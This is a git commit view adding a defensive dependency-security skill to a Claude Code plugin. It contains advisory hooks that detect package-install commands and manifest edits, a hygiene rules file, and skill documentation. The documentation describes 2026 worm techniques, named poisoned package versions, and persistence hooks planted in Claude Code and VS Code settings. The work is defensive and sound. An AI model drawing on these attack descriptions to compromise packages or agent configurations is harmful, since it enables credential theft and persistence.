Просмотр исходного кода

feat: supply-chain-defense skill — behavioural-first dependency security (#7)

* feat(skills): add supply-chain-defense skill with behavioural dependency security

Behavioural-first defense against the 2026 npm/PyPI/Composer worm campaign
(Shai-Hulud / Mini Shai-Hulud) that CVE-based tools miss in the
publish-to-advisory window. The proactive sibling to security-ops.

- Socket.dev: free CLI + zero-auth depscore MCP for Claude Code
- exposure-check.py: IOC match across npm/pnpm/yarn/bun, PyPI, Composer,
  Cargo, Go, RubyGems + installed editor extensions (cited 2026 IOCs:
  axios, Laravel-Lang, Nx Console, durabletask)
- integrity-audit.sh: worm-persistence scan (Claude/editor configs, shell
  rc, .npmrc/.pypirc, workflow OIDC trust)
- scan-extensions.sh: inventory + recency + opt-in GuardDog triage
- preinstall-check.sh: release-age cooldown across 5 ecosystems
- pre-install-scan.sh + manifest-dep-scan.sh: hooks for both dependency-entry paths
- rules/supply-chain.md: global doctrine
- 42-assertion offline test suite; IOC-catalog format from Perplexity's Bumblebee

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore: add .gitleaksignore for pre-existing documentation example-secrets

The push-safety gate scans full branch history on first push to a new remote
branch, re-flagging long-standing illustrative API-key strings in skill/command
docs (security-ops, techdebt, testgen, review, security-patterns) and historical
.claude/settings.local.json entries. None are live credentials or part of this
feature. Allowlisted by fingerprint so the gate stays meaningful.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: 0xDarkMatter <0xDarkMatter@users.noreply.github.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
0xDarkMatter 2 недель назад
Родитель
Сommit
5da8ad2407

+ 5 - 1
.claude-plugin/plugin.json

@@ -1,7 +1,7 @@
 {
   "name": "claude-mods",
   "version": "2.8.0",
-  "description": "Custom commands, skills, and agents for Claude Code - session continuity, 23 expert agents, 78 skills, 2 commands, 6 rules, 5 hooks, 13 output styles, modern CLI tools",
+  "description": "Custom commands, skills, and agents for Claude Code - session continuity, 23 expert agents, 79 skills, 2 commands, 7 rules, 7 hooks, 13 output styles, modern CLI tools",
   "author": "0xDarkMatter",
   "repository": "https://github.com/0xDarkMatter/claude-mods",
   "license": "MIT",
@@ -105,6 +105,7 @@
       "skills/scaffold",
       "skills/screenshot",
       "skills/security-ops",
+      "skills/supply-chain-defense",
       "skills/setperms",
       "skills/skill-creator",
       "skills/spawn",
@@ -129,6 +130,7 @@
       "rules/commit-style.md",
       "rules/naming-conventions.md",
       "rules/skill-agent-updates.md",
+      "rules/supply-chain.md",
       "rules/thinking.md",
       "rules/worktree-boundaries.md"
     ],
@@ -136,6 +138,8 @@
       "hooks/pre-commit-lint.sh",
       "hooks/post-edit-format.sh",
       "hooks/dangerous-cmd-warn.sh",
+      "hooks/pre-install-scan.sh",
+      "hooks/manifest-dep-scan.sh",
       "hooks/check-mail.sh",
       "hooks/enforce-uv.sh"
     ],

+ 24 - 0
.gitleaksignore

@@ -0,0 +1,24 @@
+# gitleaks false-positive allowlist.
+#
+# Pre-existing documentation example-secrets: illustrative API-key strings inside
+# skill/command docs (security-ops, techdebt, testgen, review, security-patterns)
+# that teach secure-coding / secret-detection patterns — not live credentials.
+# Plus historical .claude/settings.local.json entries (local config, not part of
+# any feature change). None are in current feature work. The push-safety gate
+# scans full branch history on a first push to a new remote branch, which re-flags
+# these long-standing entries; allowlisting them here keeps the gate meaningful.
+#
+# Format: <commit>:<file>:<rule>:<startline>
+cb575e7888f19eef36ec279169d2267f9aa50dad:skills/security-ops/SKILL.md:generic-api-key:181
+cb575e7888f19eef36ec279169d2267f9aa50dad:skills/security-ops/references/audit-quickref.md:generic-api-key:114
+abe6bce3b9a1277bf40a08db1dd2be8dc3bdb115:skills/techdebt/references/patterns.md:generic-api-key:37
+abe6bce3b9a1277bf40a08db1dd2be8dc3bdb115:skills/techdebt/references/severity-guide.md:generic-api-key:351
+194934a1e3c4d11edad042a76d4eebd32b7b2daf:skills/review/framework-checks.md:generic-api-key:793
+194934a1e3c4d11edad042a76d4eebd32b7b2daf:skills/testgen/frameworks.md:generic-api-key:20
+194934a1e3c4d11edad042a76d4eebd32b7b2daf:skills/testgen/frameworks.md:generic-api-key:128
+194934a1e3c4d11edad042a76d4eebd32b7b2daf:skills/testgen/frameworks.md:generic-api-key:212
+9f26d955c49a83b45d23cd6f6f5ba0efc6df8533:skills/security-patterns/SKILL.md:generic-api-key:121
+0ade4e6405798e5b8dd9a4e7f668add5e0a3c6e9:.claude/settings.local.json:generic-api-key:44
+0ade4e6405798e5b8dd9a4e7f668add5e0a3c6e9:.claude/settings.local.json:generic-api-key:45
+2c603fdb1f9f757408be3e47e4d90dff2e2d8b01:commands/testgen.md:generic-api-key:291
+2c603fdb1f9f757408be3e47e4d90dff2e2d8b01:commands/testgen.md:generic-api-key:395

+ 4 - 3
AGENTS.md

@@ -5,9 +5,9 @@
 This is **claude-mods** - a collection of custom extensions for Claude Code:
 - **23 expert agents** for specialized domains (React, Python, Go, Rust, AWS, git, etc.)
 - **2 commands** for session management (/sync, /save)
-- **78 skills** for CLI tools, patterns, workflows, and development tasks (incl. `net-ops` for network troubleshooting, `windows-ops` for Windows workstation diagnostics, `mac-ops` for macOS workstation diagnostics)
+- **79 skills** for CLI tools, patterns, workflows, and development tasks (incl. `supply-chain-defense` for behavioural-first dependency security, `net-ops` for network troubleshooting, `windows-ops` / `mac-ops` for workstation diagnostics)
 - **13 output styles** for response personality (Vesper, Spartan, Mentor, Executive, Pair, Atlas, Coach, Harbour, Meridian, Noir, Roast, Sage, Scout)
-- **4 hooks** for pre-commit linting, post-edit formatting, dangerous command warnings, and pmail notifications
+- **7 hooks** for pre-commit linting, post-edit formatting, dangerous command warnings, uv enforcement, dependency-install + manifest-edit supply-chain advisories, and pmail notifications
 - **Pigeon** inter-session messaging (`pigeon send/read/reply`) - SQLite-backed pmail at `~/.claude/pmail.db`
 
 ## Installation
@@ -34,7 +34,7 @@ cd claude-mods && ./scripts/install.sh  # or .\scripts\install.ps1 on Windows
 | `skills/` | Skill definitions with SKILL.md |
 | `output-styles/` | Response personalities (13 styles incl. vesper, atlas, noir, roast, scout) |
 | `hooks/` | Working hook scripts (lint, format, safety, pmail) |
-| `rules/` | Claude Code rules (5 files: cli-tools, thinking, commit-style, naming-conventions, skill-agent-updates) |
+| `rules/` | Claude Code rules (7 files: cli-tools, thinking, commit-style, naming-conventions, skill-agent-updates, supply-chain, worktree-boundaries) |
 | `tools/` | Modern CLI toolkit documentation |
 | `tests/` | Validation scripts + justfile |
 | `scripts/` | Install scripts |
@@ -58,6 +58,7 @@ On "INIT:" message at session start:
 | `hooks/README.md` | Pre/post execution hook examples |
 | `skills/pigeon/` | Inter-session pmail - send, read, reply, broadcast, search across projects |
 | `skills/auto-skill/` | Auto-detect skill-worthy workflows; Stop hook suggests after complex sessions. `/auto-skill on/off/status` to toggle |
+| `skills/supply-chain-defense/` | Behavioural-first dependency security - Socket.dev depscore MCP, exposure-check (IOC match across npm/pnpm/yarn/bun/PyPI/Composer/Cargo/Go/RubyGems + extensions), integrity-audit (persistence), scan-extensions, install/manifest hooks. Paired with `rules/supply-chain.md` |
 
 ## Quick Reference
 

+ 9 - 2
README.md

@@ -12,16 +12,19 @@
 
 > *A comprehensive extension toolkit that transforms Claude Code into a specialized development powerhouse.*
 
-**claude-mods** is a production-ready plugin that extends Claude Code with 23 expert agents, 78 specialized skills, 13 output styles, 5 hooks, and modern CLI tools designed for real-world development workflows. Whether you're debugging React hooks, optimizing PostgreSQL queries, or building production CLI applications, this toolkit equips Claude with the domain expertise and procedural knowledge to work at expert level across multiple technology stacks.
+**claude-mods** is a production-ready plugin that extends Claude Code with 23 expert agents, 79 specialized skills, 13 output styles, 7 hooks, and modern CLI tools designed for real-world development workflows. Whether you're debugging React hooks, optimizing PostgreSQL queries, or building production CLI applications, this toolkit equips Claude with the domain expertise and procedural knowledge to work at expert level across multiple technology stacks.
 
 Built on the [Agent Skills specification](https://agentskills.io/specification) (an open standard backed by Anthropic, Vercel, Google, Microsoft, and 40+ agent platforms), claude-mods fills critical gaps in Claude Code's capabilities: persistent session state that survives across machines, on-demand expert knowledge for specialized domains, token-efficient modern CLI tools (10-100x faster than traditional alternatives), and proven workflow patterns for TDD, code review, and feature development. The toolkit implements Anthropic's [recommended patterns for long-running agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents), ensuring your development context never vanishes when sessions end.
 
 From Python async patterns to Rust ownership models, from AWS Fargate deployments to Craft CMS development - claude-mods provides the specialized knowledge and tools that transform Claude from a general-purpose assistant into a domain expert who understands your stack, remembers your workflow, and ships production code.
 
-**23 agents. 78 skills. 13 styles. 5 hooks. 6 rules. One install.**
+**23 agents. 79 skills. 13 styles. 7 hooks. 7 rules. One install.**
 
 ## Recent Updates
 
+**v2.9.0** (May 2026)
+- 🛡️ **`supply-chain-defense` skill** - Behavioural-first defense against the 2026 npm/PyPI/Composer worm campaign (Shai-Hulud / Mini Shai-Hulud) that `npm audit` misses in the publish-to-advisory window — the proactive sibling to `security-ops`. Free-first Socket.dev integration (open-source CLI, $0 tier, zero-auth `depscore` MCP for Claude Code) plus two advisory hooks covering both ways a dependency enters: install commands and the agent editing a manifest. `exposure-check.py` answers "are we running a named-bad version?" by matching installed lockfiles across npm/pnpm/yarn/bun, PyPI, Composer, Cargo, Go, RubyGems + editor extensions against a cited-IOC catalog (axios 1.14.1, Laravel-Lang tag-rewrite, Nx Console 18.95.0, durabletask 1.4.1–1.4.3); `integrity-audit.sh` hunts worm persistence in Claude/editor configs, shell rc files, and `.npmrc`; `scan-extensions.sh` adds inventory + recency + opt-in GuardDog triage; `preinstall-check.sh` enforces a 7-day release-age cooldown. A global `rules/supply-chain.md` carries the doctrine to every project, and four references map the free-OSS complements (GuardDog, OSV-Scanner, zizmor, Harden-Runner). 42-assertion offline test suite; IOC-catalog format borrowed from Perplexity's [Bumblebee](https://github.com/perplexityai/bumblebee).
+
 **v2.8.0** (May 2026)
 - 🩺 **`mac-ops` skill** - Comprehensive macOS workstation diagnostics, peer to `windows-ops`. 23 scripts + 11 reference docs along an 8-rung ladder: `health-audit` orchestrates and `quickrun` gives a one-shot "what's wrong with my Mac?" verdict. Mac-unique probes cover TCC privacy permissions (the "can't screen-share" cause), wake reasons, Spotlight, and APFS storage pressure (the "disk full but `du` disagrees" mystery).
 
@@ -278,6 +281,7 @@ See [skill-creator](skills/skill-creator/) for the complete guide.
 | [monitoring-ops](skills/monitoring-ops/) | Prometheus, Grafana, OpenTelemetry, structured logging, alerting |
 | [debug-ops](skills/debug-ops/) | Systematic debugging, language-specific debuggers, common scenarios |
 | [perf-ops](skills/perf-ops/) | Performance profiling - CPU, memory, bundle analysis, load testing, flamegraphs |
+| [supply-chain-defense](skills/supply-chain-defense/) | Behavioural-first dependency security - Socket.dev (free CLI + depscore MCP), exposure-check (IOC match across npm/pnpm/yarn/bun/PyPI/Composer/Cargo/Go/RubyGems + extensions), integrity-audit (worm persistence), scan-extensions, install/manifest hooks |
 
 #### CLI Tool Skills
 | Skill | Description |
@@ -328,6 +332,8 @@ See [skill-creator](skills/skill-creator/) for the complete guide.
 | [post-edit-format.sh](hooks/post-edit-format.sh) | PostToolUse | Auto-format files after Write/Edit (Prettier, Ruff, gofmt, rustfmt) |
 | [dangerous-cmd-warn.sh](hooks/dangerous-cmd-warn.sh) | PreToolUse | Block destructive commands (force push, rm -rf, DROP TABLE) |
 | [enforce-uv.sh](hooks/enforce-uv.sh) | PreToolUse | Enforce uv over pip/bare tools in uv projects (`pip install` → `uv add`, bare `pytest`/`ruff` → `uv run`) |
+| [pre-install-scan.sh](hooks/pre-install-scan.sh) | PreToolUse | Advisory on dependency installs (npm/pnpm/yarn/bun/pip/uv/poetry/composer/gem/cargo, incl. `composer update`) - route through Socket, respect cooldown; `SUPPLY_CHAIN_BLOCK=1` for a hard gate |
+| [manifest-dep-scan.sh](hooks/manifest-dep-scan.sh) | PostToolUse | Advisory when the agent edits a dependency manifest (package.json/requirements/composer.json/Cargo.toml/go.mod/Gemfile) - depscore + cooldown the added package; silent on version bumps |
 | [check-mail.sh](hooks/check-mail.sh) | PreToolUse | Check for unread pmail via signal file (no cooldown, zero-cost when empty) |
 
 ### Output Styles
@@ -385,6 +391,7 @@ See [skill-creator](skills/skill-creator/) for the complete guide.
 | [commit-style.md](rules/commit-style.md) | Conventional commits format and examples |
 | [naming-conventions.md](rules/naming-conventions.md) | Component naming patterns for agents, skills, commands |
 | [skill-agent-updates.md](rules/skill-agent-updates.md) | Mandatory docs check before creating/updating skills or agents |
+| [supply-chain.md](rules/supply-chain.md) | Behavioural-first dependency hygiene - scan before adding, day-zero cooldown, OIDC audit, persistence-hook awareness |
 
 ### Tools & Hooks
 

+ 2 - 0
hooks/README.md

@@ -10,6 +10,8 @@ Claude Code hooks allow you to run custom scripts at key workflow points.
 | `post-edit-format.sh` | PostToolUse | Auto-format files after Write/Edit (Prettier, Ruff, gofmt, rustfmt) |
 | `dangerous-cmd-warn.sh` | PreToolUse | Block destructive commands (force push, rm -rf, DROP TABLE, etc.) |
 | `enforce-uv.sh` | PreToolUse | Enforce uv over pip/bare tools in uv-managed projects (`pip install` → `uv add`, bare `pytest`/`ruff`/`mypy` → `uv run`) |
+| `pre-install-scan.sh` | PreToolUse | Advisory on dependency installs (npm/pnpm/yarn/bun/pip/uv/poetry/composer/gem/cargo, incl. `composer update`) — route through Socket, respect the release-age cooldown. `SUPPLY_CHAIN_BLOCK=1` for a hard gate. |
+| `manifest-dep-scan.sh` | PostToolUse (Write\|Edit) | Advisory when the agent edits a dependency manifest (package.json/requirements/composer.json/Cargo.toml/go.mod/Gemfile/pyproject.toml) — depscore + cooldown the added package. High-signal (silent on version bumps). |
 | `check-mail.sh` | PreToolUse | Check for unread pigeon pmail via signal file (zero-cost when empty) |
 
 ## Configuration

+ 51 - 0
hooks/manifest-dep-scan.sh

@@ -0,0 +1,51 @@
+#!/bin/bash
+# hooks/manifest-dep-scan.sh
+# PostToolUse hook (matcher: Write|Edit) — the companion to pre-install-scan.sh.
+#
+# pre-install-scan covers `npm install` at the terminal. But in Claude Code the
+# dominant way a dependency enters is the agent EDITING a manifest (package.json,
+# requirements.txt, …) directly — no install command, so that hook never fires.
+# This hook closes that gap: when a dependency manifest is edited and the change
+# looks like it added/changed a version spec, it advises scoring the package via the
+# Socket depscore MCP and respecting the release-age cooldown BEFORE it gets installed.
+#
+# Advisory only (exit 0); never blocks an edit. Reads the tool call as JSON on stdin
+# (.tool_input.file_path / .new_string / .content), with a $1 fallback.
+#
+# Configuration in .claude/settings.json:
+#   "PostToolUse": [{ "matcher": "Write|Edit", "hooks": [
+#     { "type": "command", "command": "bash \"$HOME/.claude/hooks/manifest-dep-scan.sh\"", "timeout": 5 } ]}]
+
+RAW=""; [[ ! -t 0 ]] && RAW="$(cat 2>/dev/null)"
+FILE=""; NEW=""
+if [[ -n "$RAW" ]] && command -v jq >/dev/null 2>&1; then
+  FILE="$(printf '%s' "$RAW" | jq -r '.tool_input.file_path // empty' 2>/dev/null)"
+  NEW="$(printf '%s' "$RAW" | jq -r '.tool_input.new_string // .tool_input.content // empty' 2>/dev/null)"
+fi
+[[ -z "$FILE" ]] && FILE="${1:-}"
+[[ -z "$FILE" ]] && exit 0
+
+case "$(basename "$FILE")" in
+  package.json|composer.json|Cargo.toml|go.mod|Gemfile|pyproject.toml) ;;
+  requirements*.txt) ;;
+  *) exit 0 ;;
+esac
+
+# Only nudge when the change looks like a dependency version spec was added/changed —
+# avoids firing on unrelated manifest edits (scripts, version bumps, metadata).
+if [[ -n "$NEW" ]]; then
+  # Find version-spec lines, then exclude the manifest's own metadata keys so a
+  # `"version": "2.0.0"` bump or `name`/`description` edit doesn't false-fire.
+  echo "$NEW" \
+    | grep -E ':[[:space:]]*"[[:space:]~^><=v]*[0-9]|==[[:space:]]*[0-9]|=[[:space:]]*"[0-9]|[[:space:]]v?[0-9]+\.[0-9]' \
+    | grep -qvE '"(version|name|description|license|homepage|repository|author|main|type)"[[:space:]]*:' \
+    || exit 0
+fi
+
+echo "SUPPLY CHAIN: dependency manifest edited ($(basename "$FILE"))."
+echo "A dependency was added/changed by editing the manifest — it still has to be"
+echo "installed. Before that, score it and respect the release-age cooldown:"
+echo "  - depscore (no auth): score the added package(s) via the socket MCP"
+echo "  - cooldown/age: bash skills/supply-chain-defense/scripts/preinstall-check.sh <pkg>"
+echo "  - never pull a day-zero version into anything that builds/runs."
+exit 0

+ 96 - 0
hooks/pre-install-scan.sh

@@ -0,0 +1,96 @@
+#!/bin/bash
+# hooks/pre-install-scan.sh
+# PreToolUse hook — surfaces supply-chain hygiene before a dependency install runs.
+# Matcher: Bash
+#
+# The 2026 worm campaign (Shai-Hulud / Mini Shai-Hulud) executes via package
+# lifecycle scripts (postinstall, sdist setup.py) the moment you install, and
+# poisons brand-new releases that are pulled before any advisory exists. This hook
+# recognises install/add verbs and reminds you to scan + respect the release-age
+# cooldown, routing through the Socket CLI when available.
+#
+# Configuration in .claude/settings.json:
+# {
+#   "hooks": {
+#     "PreToolUse": [{
+#       "matcher": "Bash",
+#       "hooks": ["bash hooks/pre-install-scan.sh $TOOL_INPUT"]
+#     }]
+#   }
+# }
+#
+# Behaviour:
+#   Default          → ADVISORY. Prints guidance, exits 0 (command proceeds).
+#   SUPPLY_CHAIN_BLOCK=1 → HARD GATE. Exits 2 (command blocked) so you scan first.
+#
+# Exit codes:
+#   0 = allow (not an install, already wrapped, or advisory mode)
+#   2 = block with message (install verb matched AND SUPPLY_CHAIN_BLOCK=1)
+
+INPUT="$1"
+# Modern Claude Code delivers the tool call as JSON on stdin
+# ({"tool_input":{"command":"..."}}); older configs pass it as $TOOL_INPUT/$1.
+# Support both so the hook works regardless of harness version.
+if [[ -z "$INPUT" && ! -t 0 ]]; then
+  RAW="$(cat 2>/dev/null)"
+  if [[ -n "$RAW" ]] && command -v jq >/dev/null 2>&1; then
+    INPUT="$(printf '%s' "$RAW" | jq -r '.tool_input.command // .tool_input // empty' 2>/dev/null)"
+  fi
+  [[ -z "$INPUT" ]] && INPUT="$RAW"
+fi
+[[ -z "$INPUT" ]] && exit 0
+
+# Already routed through the behavioural scanner — let it through silently.
+echo "$INPUT" | grep -qE '\bsocket\s+(npm|npx|scan|ci|package)\b' && exit 0
+
+# Lockfile-pinned installs are the safer path we recommend — don't nag them.
+echo "$INPUT" | grep -qE '\bnpm\s+ci\b|--frozen-lockfile|--locked\b' && exit 0
+
+# ─── Recognise ecosystem install/add verbs ─────────────────────────────────
+ECO=""
+SAFE=""
+if   echo "$INPUT" | grep -qE '\b(npm|pnpm)\s+(install|i|add)\b'; then
+  ECO="npm";  SAFE="socket npm install <pkg>   # or: socket wrapper on"
+elif echo "$INPUT" | grep -qE '\byarn\s+(add|install)\b'; then
+  ECO="npm";  SAFE="socket npm install <pkg>   # yarn has no socket wrapper"
+elif echo "$INPUT" | grep -qE '\bbun\s+(add|install)\b'; then
+  ECO="npm";  SAFE="socket scan create .       # bun has no socket wrapper"
+elif echo "$INPUT" | grep -qE '\b(pip|pip3)\s+install\b'; then
+  ECO="pypi"; SAFE="socket scan create .       # no socket pip wrapper exists"
+elif echo "$INPUT" | grep -qE '\buv\s+(add|pip\s+install)\b'; then
+  ECO="pypi"; SAFE="socket scan create .       # scan the manifest after uv add"
+elif echo "$INPUT" | grep -qE '\bpoetry\s+add\b'; then
+  ECO="pypi"; SAFE="socket scan create ."
+elif echo "$INPUT" | grep -qE '\bcomposer\s+(require|install|update)\b'; then
+  ECO="composer"; SAFE="socket scan create .   # composer update re-resolves tags — tag-rewrite risk (Laravel-Lang)"
+elif echo "$INPUT" | grep -qE '\bgem\s+install\b'; then
+  ECO="rubygems"; SAFE="socket scan create ."
+elif echo "$INPUT" | grep -qE '\bcargo\s+(add|install)\b'; then
+  ECO="cargo"; SAFE="socket scan create ."
+else
+  exit 0
+fi
+
+# ─── Compose the advisory ──────────────────────────────────────────────────
+HAS_SOCKET=0; command -v socket >/dev/null 2>&1 && HAS_SOCKET=1
+
+echo "SUPPLY CHAIN: dependency install detected (${ECO})."
+echo "Lifecycle scripts run on install — the 2026 worm vector. Before proceeding:"
+echo "  1. Behavioural scan (not just npm audit / pip-audit — those miss fresh malware)."
+echo "  2. Respect the 7-day release-age cooldown for anything that hits prod/CI."
+if [[ "$HAS_SOCKET" -eq 1 ]]; then
+  echo "  Route it through Socket:  ${SAFE}"
+else
+  echo "  Socket CLI not installed (free):  npm install -g socket"
+  echo "  Or add depscore MCP (no key):  claude mcp add --transport http socket-mcp https://mcp.socket.dev/"
+fi
+echo "  Cooldown check:  bash skills/supply-chain-defense/scripts/preinstall-check.sh <pkg>"
+
+if [[ "${SUPPLY_CHAIN_BLOCK:-0}" == "1" ]]; then
+  echo ""
+  echo "Blocked (SUPPLY_CHAIN_BLOCK=1). Scan the package, then re-run via the Socket"
+  echo "wrapper or unset SUPPLY_CHAIN_BLOCK after you've confirmed it's safe."
+  exit 2
+fi
+
+exit 0

+ 81 - 0
rules/supply-chain.md

@@ -0,0 +1,81 @@
+# Supply Chain Hygiene — behavioural-first dependency defense
+
+Companion to the [`supply-chain-defense`](../skills/supply-chain-defense/SKILL.md) skill
+(the full playbook + scripts) and [`security-ops`](../skills/security-ops/SKILL.md)
+(reactive CVE auditing). This file is the *directive* — what to do every time a
+dependency enters the tree, in any project.
+
+## The rule
+
+**Treat every dependency add or version bump as untrusted until it has been
+behaviourally scanned. CVE/advisory tools are necessary but not sufficient — they
+report yesterday's known-bad, and the active 2026 threat is a worm that publishes
+and self-propagates inside the 30-minute-to-6-hour window *before* any advisory
+exists.**
+
+Three non-negotiables:
+
+1. **Never install an unconstrained, just-published version into anything that
+   executes** — build, CI, dev shell, or production. Lifecycle scripts
+   (`postinstall`, `prepare`, sdist `setup.py`) run code the moment you install.
+2. **A behavioural scan gates the merge, not the CVE database.** `npm audit` /
+   `pip-audit` passing is not a green light. Behaviour is.
+3. **The blast radius includes this machine.** The 2026 worm family
+   (Shai-Hulud / Mini Shai-Hulud) writes persistence hooks into Claude Code and
+   VS Code settings to survive reboots. A poisoned `npm install` is an attack on
+   your editor, your credentials, and your publish tokens — not just one package.
+
+## Why this matters
+
+Over 90 days in 2026: axios (100M weekly downloads, NK state actor, stolen npm
+token), Microsoft's official `durabletask` PyPI SDK (zero provenance, credential
+stealer), 323 packages poisoned in a 22-minute automated burst, and GitHub itself
+losing 3,800 internal repos to one poisoned VS Code extension on one laptop. The
+worm source is public on BreachForums; copycats are live. Every control that
+depends on maintainer hygiene (2FA, lockfile-on-clean, even Sigstore/SLSA
+provenance) has already been bypassed in the wild. The only control that closed
+the gap was behavioural analysis of what the package *does* within seconds of
+publication.
+
+See `supply-chain-defense/references/threat-model.md` for the full timeline and IOCs.
+
+## Directives — apply on every dependency touch
+
+| Situation | Directive |
+|---|---|
+| Adding or bumping a dependency | Run a behavioural scan (`socket scan` / depscore MCP) and surface the verdict **before** merge. Don't merge on a CVE-clean signal alone. |
+| Production / build dependency | Enforce a **7-day cooldown** after a release before pulling it. The axios poisoned versions were live ~3 hours; a 7-day lag lets the ecosystem detect and remediate first. |
+| Any `install` / `add` command | Prefer the Socket wrapper (`socket npm …`, `socket npx …`) when available, so a risky install is intercepted before lifecycle scripts execute. |
+| Lifecycle scripts | Where a project doesn't need build hooks, disable them: `npm config set ignore-scripts true` / pnpm `enable-pre-post-scripts=false`. It removes the `postinstall` execution vector outright — the cheapest mitigation that exists. |
+| Lockfiles | Commit them. Pin exact versions for anything that runs in CI or prod. A pin only protects you if it *pre-dates* the compromise and you never run unconstrained installs. |
+| CI/CD workflows | Audit GitHub Actions for stale OIDC trust federation to npm/PyPI. Revoke any publish trust no longer needed — this is the exact entry point Mini Shai-Hulud abused (orphaned commit, live OIDC federation, minted token). Run `zizmor` to catch the `pull_request_target` + OIDC misconfigs statically; add `step-security/harden-runner` for runtime egress control. |
+| Publish tokens | Prefer short-lived OIDC over long-lived npm/PyPI tokens. Audit and tighten who has standing publish access. |
+| After any install on this machine | Be alert to new/modified entries in `.claude/settings.json`, `.claude.json`, or VS Code `settings.json` — unexplained hooks/`mcpServers`/startup entries are a persistence IOC. |
+
+## Self-check before generating install/setup commands
+
+Before writing any `npm install`, `pip install`, `uv add`, `composer require`, etc.
+into a README, Dockerfile, CI workflow, or shell snippet:
+
+- Never recommend day-zero pulls (`npm install <pkg>@latest` of a brand-new
+  release) for production paths. Pin a version that has aged past the cooldown.
+- Where a behavioural scanner is in play, route the command through it
+  (`socket npm install …`) rather than raw `npm`.
+- If the user is wiring CI publish, default to OIDC trusted publishing, not a
+  stored long-lived token.
+
+## When the playbook is needed
+
+For the full operational workflow — trialling Socket.dev, the wrapper setup, the
+GitHub PR app, the depscore MCP server for Claude Code, the OIDC audit, token
+rotation, VS Code extension audit, the self-integrity scan that detects injected
+persistence hooks, and the wider free/OSS toolset (GuardDog, OSV-Scanner, zizmor,
+Harden-Runner, lockfile-lint) — **invoke the `supply-chain-defense` skill.** Everything
+needed to defend against this campaign works at $0.
+
+## Cross-reference
+
+- `~/.claude/skills/supply-chain-defense/SKILL.md` — full playbook + scripts
+- `~/.claude/skills/security-ops/SKILL.md` — reactive CVE/SAST/auth audit
+- `~/.claude/hooks/pre-install-scan.sh` — PreToolUse advisory on install commands
+- `~/.claude/rules/cli-tools.md` — modern tool preferences (uv, fd, rg)

+ 392 - 0
skills/supply-chain-defense/SKILL.md

@@ -0,0 +1,392 @@
+---
+name: supply-chain-defense
+description: "Behavioural-first software supply chain defense - catches poisoned npm/PyPI packages in the publish-to-advisory window that CVE tools miss. Socket.dev integration (free CLI + GitHub app + depscore MCP for Claude Code), stale-OIDC audit, dependency cooldown policy, publish-token rotation, VS Code extension audit, and a self-integrity scan that detects worm persistence hooks injected into Claude Code / VS Code settings. Triggers on: supply chain, supply chain attack, malicious package, poisoned dependency, npm worm, Shai-Hulud, behavioural scanning, Socket.dev, socket scan, dependency security, postinstall malware, OIDC token theft, compromised maintainer, typosquat, dependency confusion, package provenance, SLSA, persistence hook, malicious VS Code extension."
+license: MIT
+allowed-tools: "Read Edit Write Bash Glob Grep Agent WebFetch"
+metadata:
+  author: claude-mods
+  related-skills: security-ops, ci-cd-ops, github-ops, auth-ops
+---
+
+# Supply Chain Defense
+
+Proactive, behavioural-first defense against the 2026 software supply chain threat:
+self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and
+PyPI packages, steal credentials, republish from stolen tokens, and inject
+persistence hooks into **Claude Code and VS Code settings** specifically.
+
+## Helps with
+
+Deciding whether a dependency you're about to add is safe — getting a behavioural
+verdict on an npm or PyPI package *before* `npm install` / `pip install`, not days
+later when a CVE drops. `socket package score`, the depscore MCP, or
+`scripts/preinstall-check.sh`.
+
+A teammate or CI just pulled a freshly-published package version and you need to
+know if it's poisoned. The Shai-Hulud / Mini Shai-Hulud worm ships malicious
+versions that live for only hours (axios 1.14.1 / 0.30.4 were live ~3h).
+
+`npm audit` / `pip-audit` come back clean but you're uneasy — those are
+CVE/advisory-driven and blind to malware that hasn't been reported yet. You want
+behavioural analysis (new `postinstall` hooks, unexpected network calls,
+obfuscated payloads), not a CVE lookup.
+
+Setting up Socket.dev on a budget — the free `socket` CLI, the GitHub PR app, or
+the `depscore` MCP for Claude Code (`claude mcp add --transport http socket-mcp
+https://mcp.socket.dev/`, no API key). Deciding free vs paid tiers.
+
+Auditing GitHub Actions for the stale-OIDC / `pull_request_target` misconfiguration
+that Mini Shai-Hulud abused to mint npm publish tokens from an orphaned workflow.
+`zizmor`, or `scripts/integrity-audit.sh`.
+
+Hardening installs against `postinstall` / `preinstall` lifecycle-script malware —
+`npm config set ignore-scripts true`, the `socket` wrapper, `lockfile-lint`, or the
+`pre-install-scan.sh` hook.
+
+Checking whether *this* machine is already compromised — detecting worm persistence
+hooks injected into `~/.claude/settings.json`, `~/.claude.json`, or VS Code
+`settings.json`. `scripts/integrity-audit.sh`.
+
+Choosing among supply-chain scanners — when to reach for Socket vs GuardDog vs
+OSV-Scanner vs zizmor vs Harden-Runner. See `references/tooling-landscape.md`.
+
+Enforcing a release-age cooldown so production never pulls a day-zero version
+(Renovate `minimumReleaseAge`), and rotating long-lived npm/PyPI publish tokens to
+short-lived OIDC.
+
+Responding to a fresh advisory — it names a poisoned package, version, or
+**malicious VS Code / Cursor extension** and you need to know whether any project or
+machine actually has it installed *right now*. `scripts/exposure-check.py` matches
+on-disk npm / PyPI / Composer / Cargo / Go / RubyGems lockfiles **and installed
+editor extensions** against an IOC catalog seeded with cited 2026 incidents (axios
+1.14.1, Laravel-Lang tag rewrite, Nx Console 18.95.0 → the GitHub breach). For fleet-scale exposure response
+on macOS/Linux, see Bumblebee in `references/tooling-landscape.md`.
+
+Wanting proof the skill covers a specific attack — the
+`references/threat-model.md` "Coverage" matrix maps every 2026 vector
+(maintainer compromise, OIDC theft, lifecycle scripts, persistence hooks, forged
+provenance, tag-rewrite, malicious extensions, MCP attacks) to its control + caveat.
+
+## Overview
+
+This skill is the operational complement to two siblings:
+
+- **`security-ops`** is *reactive* — it runs `npm audit` / `pip-audit` /
+  `govulncheck` against the **CVE/advisory database**. Necessary, but blind to a
+  malicious package that hasn't been reported yet.
+- **`supply-chain-defense`** (this skill) is *proactive* — it analyses what a
+  freshly-published package actually **does** (new install scripts, network calls,
+  obfuscation) within seconds of publication, before any CVE exists.
+
+> The defensive gap is the window between "package published" and "advisory
+> issued" — typically 30 minutes to 6 hours. A worm does real damage in that
+> window. Behavioural analysis is the only control that closes it. See
+> `references/threat-model.md` for why lockfiles, `npm audit`, 2FA, and even
